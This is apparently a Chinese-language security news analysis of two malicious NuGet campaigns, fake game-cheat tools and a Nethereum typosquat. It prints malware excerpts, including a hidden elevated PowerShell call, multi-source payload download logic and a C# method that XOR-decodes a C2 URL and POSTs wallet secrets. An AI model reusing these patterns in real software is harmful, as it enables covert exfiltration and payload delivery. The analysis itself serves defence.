摘要

這份報告分析了近期涉及惡意 NuGet 套件的軟體供應鏈攻擊。探討了兩個攻擊活動:一個偽裝成遊戲作弊程式,部署主機監控 Payload;另一個則透過 Typosquatting 手法仿冒 Nethereum 程式庫,以外洩加密貨幣錢包資料。報告詳細說明了技術機制,包括多階段 Payload 傳遞、用於 C2 通訊的 DNS-over-HTTPS、使用 XOR 的混淆技術,以及資料外洩手法。透過比較這些方法,這項研究歸納了常見的戰術、技術與程序 (TTPs),並提供緩解此類威脅的建議。

你的 NuGet 專案正在 DoH 查詢中洩密?Nethereum 用戶的 XOR 解碼危機! | 資訊安全新聞

1. 簡介

對於開源套件儲存庫(如 NuGet)的依賴,為軟體供應鏈引入了漏洞。Threat actor 利用人為錯誤與自動化相依性解析,透過 Typosquatting 或偽裝成合法工具來發動攻擊。報告探討了兩個代表性案例,剖析其技術細節,並提供強化軟體供應鏈安全的建議。

2. 案例研究 1:惡意 NuGet 遊戲作弊程式

Socket.dev 發現的攻擊活動涉及 11 個惡意 NuGet 套件,這些套件偽裝成 .NET 命令列工具 (DotnetTool 型態) 並用於遊戲。這些套件扮演第一階段下載器,會擷取並執行第二階段的 Windows Payload ( pepesoft.exe )。攻擊鏈具備複雜的規避與主機監控能力 [1]

2.1. 第一階段:.NET 下載器

每個惡意 NuGet 套件都包含一個 .NET 下載器組件。啟動後,工具會顯示更新程式的狀態文字,並使用具名 Mutex 來確保單一實例執行,藉此營造合法性並防止多重感染。

其中一項關鍵混淆技術是使用具名 Mutex 的單一實例防護機制:

  1. string name = "Global\\{5BD61028-3D9C-4B4E-AD45-CA4F1B35D0F4}" ;
  2. Mutex mutex = new Mutex(initiallyOwned: true , name, out createdNew);
  3. if (!createdNew)
  4. {
  5. Console.WriteLine( "Программа уже запущена" , ColorTranslator.FromHtml( "" ));
  6. await Task.Delay( 2000 );
  7. Environment.Exit( 0 );
  8. }

在進行網路活動之前,11 個下載器組件中有 10 個會要求使用者帳戶控制 (UAC) 權限提升,以重新同步系統時間。此舉可緩解因時間偏差造成的 TLS 連線失敗,確保 C2 通訊順利 [1]

用於時間重新同步與 UAC 提升的 PowerShell 命令:

  1. var startInfo = new ProcessStartInfo
  2. {
  3. FileName = "powershell.exe" ,
  4. Arguments = "-NoProfile -WindowStyle Hidden -Command\"Start-Service w32time; w32tm /resync\"" ,
  5. CreateNoWindow = true ,
  6. UseShellExecute = true ,
  7. WindowStyle = ProcessWindowStyle.Hidden,
  8. Verb = "runas"
  9. };

下載器透過環境變數設定第二階段 Payload,這些變數包含 AWS 風格的存取金鑰 (Key) 以及 Cloudflare Worker 端點 URL,使攻擊者能遠端變更設定,而無需將認證寫死在套件中 [1]

2.2. DNS-over-HTTPS (DoH) 用於 C2 解析

第一階段下載器使用 DNS-over-HTTPS (DoH) 來解析 GitHub 主機。當目標主機名稱包含 github 時,它會透過 Google 的 DoH 解析器進行查詢,藉此繞過傳統的 hosts 檔案項目與本機 DNS sinkhole [1]

說明 DoH 解析過程的程式碼片段:

  1. if (host.Contains( "github" , StringComparison.OrdinalIgnoreCase))
  2. {
  3. using HttpClient dnsClient = new HttpClient();
  4. string requestUri = "https://dns.google/resolve?name=" + host + "&type=A" ;
  5. using JsonDocument doc = JsonDocument.Parse( await dnsClient.GetStringAsync(requestUri, cancellationToken));
  6. // ... first A record is parsed and used as the connect target ...
  7. }

2.3. 多重來源 Payload 預備與 Torrent 備援

惡意工具採用強健的 Payload 預備機制,為 pepesoft.exe 提供三個下載來源:Hugging Face、GitHub Releases 以及一個 BitTorrent magnet 連結。這提供了高度的韌性,能對抗 C2 基礎設施被查緝的風險 [1]

多重來源下載邏輯:

  1. string hfUrl = "https://huggingface[.]co/buckets/pepegit666/albion[.]onlinepanel/resolve/pepesoft.exe?download=true";
  2. string githubUrl = "https://github[.]com/pepegit666/123f53y45ysdf34/releases/download/albion[.]onlinepanel/pepesoft.exe";
  3. string magnetLink = "";
  4. // ... try hfUrl, fall back to githubUrl, then:
  5. if (string.IsNullOrEmpty(magnetLink))
  6. {
  7. throw new Exception("Все источники загрузки недоступны.");
  8. }
  9. reconstructedFileName = await DownloadViaTorrent(magnetLink, tempDir);

2.4. 第二階段:pepesoft.exe Payload

pepesoft.exe Payload 是一個以 PyInstaller 封裝的 Python 執行檔。它會使用下載器提供的 AWS 風格金鑰進行遠端設定,並利用 Google Sheets 回傳遙測資料、進行硬體綁定 (HWID),以及遵守 HWID 封鎖清單。部分變種甚至開放了 Telegram bot 指令來截取螢幕畫面,顯示其具備主機監控能力 [1]

3. 案例研究 2:針對 Nethereum 的 Typosquatting 攻擊

此攻擊涉及使用 Typosquatting 手法的 NuGet 套件,目標是 Nethereum Ethereum 程式庫,企圖透過複雜的 C2 機制來外洩加密貨幣錢包資料(私鑰、助憶詞) [2]

3.1. Typosquatting 與惡意套件部署

攻擊者利用 Typosquatting(例如使用西里爾字母 'e' 的 Netherеum.All )來模仿合法的 Nethereum 套件。這些惡意套件在功能上與原版相似,但嵌入了一個後門,會在特定的 Runtime 輔助函式被呼叫時觸發,藉此繞過靜態分析 [2]

3.2. Payload 技術剖析:XOR 解碼的 C2 通訊

核心惡意功能位於 EIP70221TransactionService 中的 Shuffle 方法內,並與合法的 Nethereum 程式碼混合。C2 URL 被混淆為一個 43 字元的種子 (Seed),執行期間會透過 position-base 的 XOR 密碼動態解碼,以規避字串比對偵測 [2]

編碼種子 jwwrs:./ronaoanettorkinstance[.]info/api/gads 會與一個 44 位元組的遮罩 (Mask) 進行 XOR,還原出 https://solananetworkinstance[.]info/api/gads [2] C2 解碼流程如下:

sequenceDiagram participant P as "Payload (Shuffle Method)" participant E as "Encoded URL (Seed)" participant M as XOR Mask participant D as Decoded C2 URL P->>E: Retrieve 43-char Seed P->>M: Retrieve 44-byte Mask P->>P: "Iterate through Seed characters (c) and Mask bytes (i)" P->>P: "Calculate Decoded Character: (char)(c ^ Mask[i])" P->>D: Construct Final URL D-->>P: https://solananetworkinstance[.]info/api/gads

圖 1:Nethereum typosquatting 攻擊的 C2 URL 解碼機制流程。

3.3. Shuffle 方法的程式碼分析

C# 的 Shuffle 方法負責執行解碼與資料外洩。編碼種子與 XOR 遮罩被定義為陣列,解碼過程則透過 LINQ 的 .Select() 方法,依據字元索引套用 XOR 運算 [2]

Shuffle 方法中用於 C2 URL 解碼與外洩的關鍵部分:

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Net.Http;
  5. using System.Threading.Tasks;
  6. namespace Nethereum.Accounts {
  7. internal class EIP70221TransactionService {
  8. // <summary>
  9. // Malicious method designed to exfiltrate sensitive data.
  10. // It decodes the C2 URL using XOR and sends the input data to it.
  11. // </summary>
  12. public static async Task Shuffle(string data) {
  13. // The encoded C2 URL seed. This is obfuscated to avoid detection.
  14. char[] encodedSeed = new char[43] {
  15. // ... (truncated for brevity) ...
  16. };
  17. // The position-based XOR mask used for decoding.
  18. byte[] xorMask = new byte[44] {
  19. // ... (truncated for brevity) ...
  20. };
  21. // Runtime decoding of the URL using XOR.
  22. string u = new string(
  23. encodedSeed
  24. .Select((c, i) => (char)(c ^ xorMask[i]))
  25. .ToArray()
  26. );
  27. // Exfiltration: An HttpClient is used to send the data to the decoded C2 URL.
  28. using
  29. var cl = new HttpClient();
  30. // The sensitive data (‘data’ parameter) is sent as the value of a form field named "message".
  31. var content = new FormUrlEncodedContent(new Dictionary < string, string > {
  32. ["message"] = data
  33. });
  34. await cl.PostAsync(new Uri(u), content);
  35. }
  36. }
  37. }

3.4. 資料外洩機制

C2 URL 解碼之後, Shuffle 方法使用 .NET 的 HttpClient 執行非同步 HTTP POST request。敏感資料(如私鑰、助憶詞)會以 message 表單欄位的值送出,藉此偽裝成正常網路流量來躲避偵測 [2] 。Nethereum typosquatting 攻擊的高階流程如下:

graph TD A[Developer Installs Typosquatted Package] --> B{Application Runtime}; B --> C[Developer Code Invokes Malicious Wrapper Function]; C --> D{"Wrapper Function (e.g., Wallet Init)"}; D --> E[Hidden Call to EIP70221TransactionService.Shuffle]; E --> F[Shuffle: XOR Decode C2 URL]; E --> G[Shuffle: HTTPS POST Exfiltration of Wallet Keys/Mnemonics]; F & G --> H[External C2 Server];

圖 2:Nethereum typosquatting 攻擊的高階流程。

4. 攻擊方法比較分析

這兩個案例分別以遊戲玩家與加密貨幣使用者為目標,雖然誘餌不同,但技術方法相似,反映了軟體供應鏈攻擊的發展趨勢。兩者都利用 NuGet 散播惡意 Payload,凸顯了套件管理系統的脆弱性。

表 1 整理了兩種攻擊方法的比較:

特徵 惡意 NuGet 遊戲作弊程式 [1] Nethereum Typosquatting 攻擊 [2]
初始誘餌 偽裝成遊戲工具/作弊程式 Typosquatting 合法 Nethereum 程式庫
目標 Windows 使用者(主機監控) 加密貨幣使用者(錢包資料外洩)
Payload 傳遞 多階段:.NET 下載器 -> pepesoft.exe 單一階段:惡意程式碼嵌入於 Typosquat 程式庫
C2 通訊 DNS-over-HTTPS (DoH) 解析 GitHub,多個下載來源 (Hugging Face, GitHub, BitTorrent) XOR 解碼 URL,標準 HTTPS POST
混淆 / 規避技術 具名 Mutex,UAC 提升以同步時鐘,DoH,多重來源預備 Typosquatting,C2 URL 的 XOR 加密,透過特定函式呼叫延遲執行
資料外洩 使用 Google Sheets 回傳遙測,Telegram bot 截圖 HTTPS POST 傳送敏感資料(私鑰、助憶詞)
影響 主機監控,潛在資料竊取 加密貨幣錢包資料遭竊

表 1:惡意 NuGet 攻擊方法比較分析。

5. 共通的戰術、技術與程序 (TTPs)

兩個攻擊活動都凸顯了以下共通的 TTPs:

  • 濫用套件管理器: NuGet 是主要的散播管道,強調了套件生態系統需有強健的安全性。
  • 混淆與規避: 兩者都使用技術來隱藏意圖並躲避偵測(DoH、多來源預備 vs. XOR 編碼、延遲執行)。
  • 社交工程 / 欺騙: 都依賴欺騙開發者/使用者安裝惡意套件(遊戲作弊誘餌 vs. Typosquatting)。
  • 具韌性的 C2 基礎設施: 多重 C2 管道或混淆 URL 確保了持續性並阻礙查緝。
  • 聚焦資料外洩: 最終目標都是外洩有價值的資料(主機監控 vs. 加密貨幣錢包金鑰)。

6. 緩解措施與建議

這些案例顯示軟體供應鏈攻擊持續存在且不斷演進。細微的偽裝或 Typosquatting 結合執行階段的 C2 混淆,說明了 Threat actor 的策劃意圖。影響範圍從主機監控到加密貨幣竊盜不等。

為了防範這些威脅,以下緩解策略至關重要:

  • 嚴格的套件驗證: 開發人員應使用工具進行深度相依性分析,檢查套件聲譽、維護者歷史與清單完整性,而不僅是名稱相似度。
  • 靜態分析動態分析 能夠偵測混淆字串、異常網路活動,以及隱藏在正常函式中的惡意呼叫的工具,對於主動防禦至關重要。
  • DNS 監控: 組織應監控 DNS 查詢中是否有可疑模式,特別是那些繞過標準解析器(如 DoH)的查詢。
  • 使用者帳戶控制 (UAC) 警覺: 使用者應對非預期出現的 UAC 提示保持警覺,尤其是來自通常不需較高權限的應用程式。
  • 供應鏈安全解決方案: 導入能持續掃描並監控相依元件是否存在漏洞與惡意行為的全面解決方案,是首要之務。

7. 結論

對惡意 NuGet 套件的分析揭示了複雜的攻擊方法。多階段 Payload、具韌性的 C2 通訊以及混淆技術等手法,持續被用來規避偵測。這些事件凸顯了在整個軟體供應鏈中,提升警覺性與實施強健安全實務的迫切性。了解這些技術細節,有助於我們在不斷變化的威脅環境中建立更完善的防禦。